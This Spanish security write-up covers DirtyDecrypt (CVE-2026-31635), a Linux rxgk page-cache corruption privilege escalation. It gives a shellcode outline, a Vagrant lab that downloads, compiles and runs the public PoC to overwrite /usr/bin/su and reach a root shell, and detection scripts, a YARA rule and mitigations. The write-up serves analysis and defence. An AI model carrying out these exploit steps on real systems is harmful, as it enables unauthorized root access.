Que es DirtyDecrypt
DirtyDecrypt (tambien conocido como DirtyCBC) es una vulnerabilidad de escalada local de privilegios (LPE) en el kernel de Linux que permite a un usuario sin privilegios obtener root en sistemas con el modulo rxgk habilitado (CONFIG_RXGK). El bug es la falta de proteccion COW (Copy-On-Write) en rxgk_decrypt_skb(), lo que permite corromper el page cache del kernel escribiendo bytes arbitrarios en ficheros de solo lectura.
El exploit, descubierto autonomamente por Aaron Esau del equipo V12 Security (reportado el 9 de mayo de 2026), sobreescribe un binario suid-root (como /usr/bin/su) con un shellcode ELF minimo que ejecuta setuid(0) + execve("/bin/sh"), obteniendo root instantaneamente.
Datos clave
| Campo | Valor |
|---|---|
| CVE | CVE-2026-31635 (segun Will Dormann / Tharros) |
| Nombre | DirtyDecrypt / DirtyCBC |
| CVSS | ~7.8 (High) — LPE local |
| CWE | CWE-667 (Improper Locking / Missing COW) |
| Descubridor | Aaron Esau / V12 Security (descubierto por AI) |
| Vendor | Linux Kernel |
| Parche | Mainline (25 abril 2026) |
| Afectados | Kernels ≥6.16 con CONFIG_RXGK=y/m (introducido en 6.16) |
| Distros afectadas | Fedora 42+, Arch Linux, openSUSE Tumbleweed (kernel ≥6.16) |
| Prerequisito | Usuario local + CONFIG_RXGK + binario suid-root legible + kernel.keys.maxkeys suficiente |
| Familia | Dirty Frag, Fragnesia, Copy Fail (page cache class) |
Como funciona el bug
El problema: decrypt in-place sin COW
En net/rxrpc/rxgk_common.h, la funcion rxgk_decrypt_skb() ejecuta la siguiente secuencia:
skb_to_sgvec()— convierte los fragmentos del SKB en un scatter-gather listcrypto_krb5_decrypt()— descifra in-place usando AEAD (AES-CBC)
El problema: no llama a skb_cow_data() antes del descifrado. El template krb5enc en crypto/krb5enc.c descifra in-place antes de verificar el HMAC. Cuando las paginas de los fragmentos del SKB son paginas del page cache (inyectadas via splice → MSG_SPLICE_PAGES → loopback), el descifrado in-place corrompe directamente el page cache.
// Pseudocodigo del bug
void rxgk_decrypt_skb(skb) {
sgvec = skb_to_sgvec(skb); // paginas del page cache
crypto_krb5_decrypt(sgvec); // descifra IN-PLACE ← corrompe page cache!
// falta: skb_cow_data() deberia copiar las paginas primero
verify_hmac(sgvec); // HMAC falla, pero el dano ya esta hecho
}El mismo patron existe en rxkad_verify_packet_2() (rxkad).
Sliding window: escritura byte a byte
El exploit usa una tecnica de ventana deslizante para escribir bytes arbitrarios al page cache, uno por uno:
- Round i: dispara un paquete rxgk spliceado en offset
S+i, corrompiendo un bloque AES de 16 bytes - El byte
[0]del output es uniformemente aleatorio (probabilidad 1/256 del valor deseado) - Round i+1: en offset
S+i+1, sobrescribe los 15 bytes de dano colateral del round anterior, pero nunca toca el byte ya escrito en round i
Resultado: escritura con granularidad de un byte a ~256 disparos por byte. Para un shellcode de 120 bytes, son ~30,720 disparos → unos minutos.
De page cache corruption a root
- Encontrar un binario suid-root legible por el usuario (e.g.
/usr/bin/su,/usr/bin/mount) - Hacer backup del binario
- Abrir el fichero con
O_RDONLYy hacermmap(MAP_SHARED)para mantener las paginas en cache - Desde un user namespace (loopback + rxgk), disparar la corrupcion byte a byte
- Sobreescribir los primeros 120 bytes con un shellcode ELF tiny:
setuid(0)(syscall 105)execve("/bin/sh", NULL, NULL)(syscall 59)
- Ejecutar el binario suid corrupto → shell root
El shellcode ELF (120 bytes)
; tiny_elf: ET_DYN ELF x86_64, 120 bytes
; PT_LOAD cubre exactamente 120 bytes
; Offset 0x68: entry point
; mov al, 0x69 ; sys_setuid
; syscall ; setuid(0)
; lea rdi, "/bin/sh" ; string embedded in p_paddr
; push 59; pop rax ; sys_execve
; syscall ; execve("/bin/sh", 0, 0)El ELF es un ejecutable PIE valido de solo 120 bytes que coincide con los primeros 24 bytes de cualquier binario PIE (ET_DYN, x86_64), minimizando las diferencias a escribir.
Laboratorio de reproduccion
Arquitectura del lab
┌───────────────────────────────────────────────────────────────┐
│ Vagrant VM: Fedora 42 (bento/fedora-42) — kernel con RXGK │
│ - 2 CPUs, 2GB RAM (VirtualBox) │
│ - CONFIG_RXGK=y habilitado (kernel 6.16+) │
│ - Usuario sin privilegios: testuser │
│ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ Exploit (poc.c) como usuario 'testuser' │ │
│ │ │ │
│ │ 1. fork() → hijo en user+net namespace │ │
│ │ 2. Loopback + AF_RXRPC + splice → pagecache write │ │
│ │ 3. Sliding window → sobreescribe /usr/bin/su (suid) │ │
│ │ 4. exec /usr/bin/su → shell root │ │
│ └─────────────────────────────────────────────────────────┘ │
└───────────────────────────────────────────────────────────────┘Requisitos
- VirtualBox 6.x / 7.x
- Vagrant 2.x
- ~3GB espacio disco (box Fedora 42)
- Conexion a internet (descarga box primera vez)
Importante: CONFIG_RXGK se introdujo en el kernel 6.16. Fedora 40 y anteriores no son vulnerables (no tienen el modulo). Necesitas Fedora 42+ (o Arch/openSUSE Tumbleweed con kernel ≥6.16).
Vagrantfile
Vagrant.configure("2") do |config|
config.vm.box = "bento/fedora-42"
config.vm.synced_folder ".", "/vagrant", disabled: true
config.vm.provider "virtualbox" do |vb|
vb.memory = "2048"
vb.cpus = 2
vb.name = "fedora-dirtydecrypt"
end
config.vm.provision "shell", inline: <<-SHELL
# Crear usuario sin privilegios
useradd -m -s /bin/bash testuser 2>/dev/null || true
echo "testuser:testuser123" | chpasswd
# Instalar compilador
dnf install -y gcc make kernel-headers 2>/dev/null
# Aumentar cuota de claves del kernel (necesario para el exploit)
sysctl -w kernel.keys.maxkeys=100000
sysctl -w kernel.keys.maxbytes=10000000
# Verificar CONFIG_RXGK
echo "[*] CONFIG_RXGK: $(grep CONFIG_RXGK /boot/config-$(uname -r) 2>/dev/null || echo 'NOT FOUND')"
echo "[*] Kernel: $(uname -r)"
SHELL
endDespliegue y ejecucion
# 1. Crear directorio del lab
mkdir dirtydecrypt-lab && cd dirtydecrypt-lab
# 2. Crear Vagrantfile (ver arriba) y arrancar VM
vagrant up
# 3. Verificar que CONFIG_RXGK esta habilitado
vagrant ssh -c "grep CONFIG_RXGK /boot/config-\$(uname -r)"
# Salida esperada: CONFIG_RXGK=y
# 4. Verificar version del kernel (debe ser >= 6.16 y < 6.19.13)
vagrant ssh -c "uname -r"
# NOTA: Si el kernel ya esta parcheado (>= 6.19.13), instalar uno vulnerable:
# vagrant ssh -c "sudo dnf install -y koji"
# vagrant ssh -c "cd /tmp && koji download-build --arch=x86_64 kernel-6.19.11-100.fc42"
# vagrant ssh -c "sudo dnf install -y /tmp/kernel-core-6.19.11*.rpm \
# /tmp/kernel-modules-core-6.19.11*.rpm /tmp/kernel-modules-6.19.11*.rpm"
# vagrant ssh -c "sudo grubby --set-default /boot/vmlinuz-6.19.11-100.fc42.x86_64"
# vagrant reload
# 5. Descargar exploit en la VM
vagrant ssh -c "curl -sL -o /tmp/poc.c \
https://raw.githubusercontent.com/v12-security/pocs/main/dirtydecrypt/poc.c"
# 6. Compilar
vagrant ssh -c "gcc -O2 -o /tmp/dirtydecrypt /tmp/poc.c && chmod 755 /tmp/dirtydecrypt"
# 7. Ejecutar como usuario sin privilegios
vagrant ssh -c "sudo -u testuser /tmp/dirtydecrypt"Salida esperada
=== rxgk pagecache write ===
uid=1001 euid=1001
[*] writing shellcode to /usr/bin/su (96 bytes from offset 24)
[========================================] 100% (96/96, 23400 fires)
[*] 23400 fires in 185.9s
[*] exec /usr/bin/su
[*] restore: cp /tmp/.su_3759 /usr/bin/su
# id
uid=0(root) gid=0(root) groups=0(root)Restaurar el binario corrupto
# Desde la shell root obtenida:
cp /tmp/.su_<PID> /usr/bin/su
chmod 4755 /usr/bin/suLimpiar el lab
vagrant destroy -fDeteccion del ataque
Indicadores
- Procesos creando user namespaces + sockets
AF_RXRPC(syscall poco comun) - Modificaciones inesperadas en el contenido de binarios suid-root
- Multiples paquetes UDP en loopback con protocolo rxrpc
- Backups sospechosos en
/tmp/con prefijo punto (e.g./tmp/.su_*)
Script de deteccion
#!/bin/bash
# check_dirtydecrypt.sh — Linux
echo "=== DirtyDecrypt (CVE-2026-31635) Check ==="
# 1. Kernel
KERNEL=$(uname -r)
echo "[INFO] Kernel: $KERNEL"
# 2. CONFIG_RXGK habilitado?
CONFIG_FILE="/boot/config-$KERNEL"
if [ -f "$CONFIG_FILE" ]; then
RXGK=$(grep "CONFIG_RXGK" "$CONFIG_FILE" 2>/dev/null)
if echo "$RXGK" | grep -q "=m\|=y"; then
echo "[VULNERABLE] CONFIG_RXGK habilitado: $RXGK"
else
echo "[OK] CONFIG_RXGK no habilitado"
exit 0
fi
else
# Intentar via modprobe
if modprobe -n rxgk 2>/dev/null; then
echo "[VULNERABLE] modulo rxgk disponible"
elif modprobe -n rxrpc 2>/dev/null; then
echo "[WARNING] rxrpc disponible (verificar rxgk manualmente)"
else
echo "[OK] rxgk/rxrpc no disponible"
exit 0
fi
fi
# 3. Modulo cargado?
if lsmod | grep -q rxgk; then
echo "[INFO] modulo rxgk cargado actualmente"
elif lsmod | grep -q rxrpc; then
echo "[INFO] modulo rxrpc cargado (rxgk puede cargarse bajo demanda)"
fi
# 4. Indicadores de compromiso
echo ""
for pat in /tmp/.su_* /tmp/.mount_* /tmp/.passwd_* /tmp/.chsh_*; do
if compgen -G "$pat" > /dev/null 2>&1; then
echo "[CRITICO] Backup sospechoso encontrado: $pat"
ls -la $pat 2>/dev/null
fi
done
# 5. Verificar integridad de binarios suid
echo ""
echo "[INFO] Verificando binarios suid-root..."
for f in /usr/bin/su /usr/bin/mount /usr/bin/passwd /usr/bin/chsh; do
if [ -f "$f" ]; then
MAGIC=$(xxd -l 4 "$f" 2>/dev/null | awk '{print $2 $3}')
if [ "$MAGIC" != "7f454c46" ]; then
echo "[CRITICO] $f tiene magic bytes corruptos!"
fi
fi
done
echo ""
echo "[MITIGACION] Para deshabilitar rxgk:"
echo " echo 'install rxgk /bin/false' >> /etc/modprobe.d/dirtydecrypt.conf"
echo " echo 'install rxrpc /bin/false' >> /etc/modprobe.d/dirtydecrypt.conf"
echo " rmmod rxgk rxrpc 2>/dev/null"Regla YARA
rule Linux_DirtyDecrypt_PoC {
meta:
description = "Detecta exploit DirtyDecrypt / DirtyCBC (CVE-2026-31635)"
author = "Red Orbita"
date = "2026-05-18"
cve = "CVE-2026-31635"
severity = "high"
strings:
$s1 = "rxgk_decrypt_skb" ascii
$s2 = "rxgk pagecache write" ascii
$s3 = "skb_cow_data" ascii
$s4 = "sliding-window" ascii nocase
$s5 = "AF_RXRPC" ascii
$s6 = "RXGK_SECURITY_INDEX" ascii
$s7 = "pagecache_write" ascii
$s8 = "DirtyDecrypt" ascii nocase
$s9 = "DirtyCBC" ascii nocase
$s10 = "tiny_elf" ascii
$s11 = "/tmp/.su_" ascii
$s12 = "CLONE_NEWUSER" ascii
condition:
($s2) or
($s8 or $s9) or
($s6 and $s7) or
($s5 and $s10 and $s12) or
(4 of ($s*))
}Workaround
Deshabilitar los modulos rxgk y rxrpc:
# Mitigacion inmediata
sh -c "printf 'install rxgk /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtydecrypt.conf"
rmmod rxgk rxrpc 2>/dev/null
echo 3 > /proc/sys/vm/drop_caches
# Mitigacion combinada (incluye Dirty Frag / Fragnesia / Copy Fail)
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"Nota: esto deja inutilizables las funciones de IPsec VPN (esp4/esp6) y AFS (rxrpc/rxgk).
Solucion definitiva
Actualizar el kernel a una version parcheada. El fix anade skb_cow_data() antes del descifrado:
+ if (skb_cow_data(skb, 0, &trailer) < 0)
+ return -ENOMEM;
sg_init_table(sg, nsg);
skb_to_sgvec(skb, sg, offset, len);
crypto_krb5_decrypt(...);# Fedora
sudo dnf upgrade --refresh
sudo reboot
# Arch Linux
sudo pacman -Syu
sudo rebootRelacion con otras vulns de page cache
DirtyDecrypt pertenece a una familia de vulnerabilidades LPE que explotan la corrupcion del page cache del kernel Linux:
| Vulnerabilidad | Modulo | Tecnica | Estado |
|---|---|---|---|
| Dirty Frag | esp4/esp6 | splice + decrypt in-place (IPsec) | Parcheado |
| Fragnesia | esp4/esp6 | Variante de Dirty Frag con TCP | Parcheado |
| Copy Fail (CVE-2026-32202) | esp4/esp6 | Explotado activamente (CISA KEV) | Parcheado |
| DirtyDecrypt (CVE-2026-31635) | rxgk | splice + decrypt in-place (AFS/RxGK) | Parcheado mainline |
Todas comparten la misma raiz: descifrado in-place de paginas del page cache sin proteccion COW. La mitigacion comun es deshabilitar los modulos criptograficos afectados.
Timeline
| Fecha | Evento |
|---|---|
| 25 abril 2026 | Parche aplicado en kernel mainline |
| 9 mayo 2026 | V12 Security reporta independientemente (informado de duplicado) |
| 18 mayo 2026 | V12 publica PoC y writeup |
| 18 mayo 2026 | BleepingComputer publica noticia |
| 18 mayo 2026 | Will Dormann (Tharros) lo asocia con CVE-2026-31635 |
Referencias
- GitHub - v12-security/pocs/dirtydecrypt — PoC source code
- BleepingComputer — Noticia
- NVD - CVE-2026-31635
- V12 Security — Anuncio original
- KernelConfig - CONFIG_RXGK — Documentacion de la opcion
Comentarios